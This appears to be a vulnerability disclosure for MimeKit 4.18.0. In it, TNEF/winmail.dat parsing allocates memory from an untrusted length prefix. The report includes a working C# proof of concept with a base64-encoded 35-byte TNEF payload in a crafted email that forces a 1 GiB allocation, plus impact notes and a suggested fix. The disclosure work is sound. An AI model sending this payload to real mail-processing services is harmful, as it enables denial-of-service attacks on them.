TnefPart.ConvertToMessage allocates unbounded memory from an attacker-controlled length prefix
Description
When TnefPart.ConvertToMessage() (and ExtractAttachments(), which calls it) parses a TNEF/winmail.dat attachment, it allocates a byte buffer sized directly from an untrusted 4-byte length prefix in the MAPI property stream, before checking that many bytes actually exist. A tiny attachment can therefore force MimeKit to allocate hundreds of megabytes to gigabytes of memory, so a single small email is enough to exhaust memory on a service that decodes TNEF.
The declared length flows from TnefPropertyReader.ReadByteArray() straight into ReadBytes(int count), which does new byte[count] before any data is read. CheckRawValueLength() is meant to bound the value against the enclosing attribute, but it compares raw int offsets: a large attribute length (or an int overflow in the padding arithmetic in TryGetPropertyValueLength/GetPaddedLength) lets the oversized value pass the check. Parsing runs in TnefComplianceMode.Loose, where compliance errors are recorded but not thrown, so nothing stops the allocation.
Proof of concept
Against a clean install of MimeKit 4.18.0 (dotnet add package MimeKit):
// A 35-byte TNEF body: one MAPI PR_SUBJECT (Unicode) property whose
// 4-byte value length-prefix is 0x40000000.
var tnef = Convert.FromBase64String(
"eJ8+IgAAAQOQBgAAEABAAQAAAB8ANwABAAAAAAAAQAAAAAA=");
var eml =
"From: attacker@example.com\r\n" +
"To: victim@example.com\r\n" +
"Subject: hi\r\n" +
"Content-Type: application/ms-tnef; name=\"winmail.dat\"\r\n" +
"Content-Transfer-Encoding: base64\r\n\r\n" +
Convert.ToBase64String(tnef) + "\r\n";
var message = MimeMessage.Load(new MemoryStream(Encoding.ASCII.GetBytes(eml)));
var part = message.BodyParts.OfType<TnefPart>().First();
long before = GC.GetTotalAllocatedBytes(true);
part.ConvertToMessage();
long allocated = GC.GetTotalAllocatedBytes(true) - before;
Console.WriteLine($"allocated: {allocated / 1024 / 1024} MiB"); // prints 1024A 35-byte TNEF body makes ConvertToMessage() allocate 1024 MiB. The size tracks the declared prefix linearly (0x10000000 -> 256 MiB, 0x40000000 -> 1024 MiB). Setting the prefix near int.MaxValue overflows the padding arithmetic and throws OutOfMemoryException from the same allocation.
Impact
An attacker who can send an email with a TNEF attachment, or otherwise get untrusted winmail.dat bytes into a service that calls ConvertToMessage()/ExtractAttachments(), can force multi-hundred-MB to ~2 GB allocations from a few dozen bytes, repeatable per property and per message. That is uncontrolled memory consumption reachable through the documented public API under default configuration.
MimeKit already treats availability issues in this space as advisories (GHSA-gmc6-fwg3-75m5, a TNEF-adjacent dependency DoS).
Caveat
I verified this on 4.18.0; the affected code (ReadBytes/ReadByteArray) is longstanding, so the range is likely wider, but I only tested the current release. The finding needs the application to actually call ConvertToMessage()/ExtractAttachments() on the part - MimeMessage.Load alone does not decode TNEF. The fix is to validate the declared length against the bytes remaining in the attribute (in long arithmetic) before allocating, rather than trusting the prefix.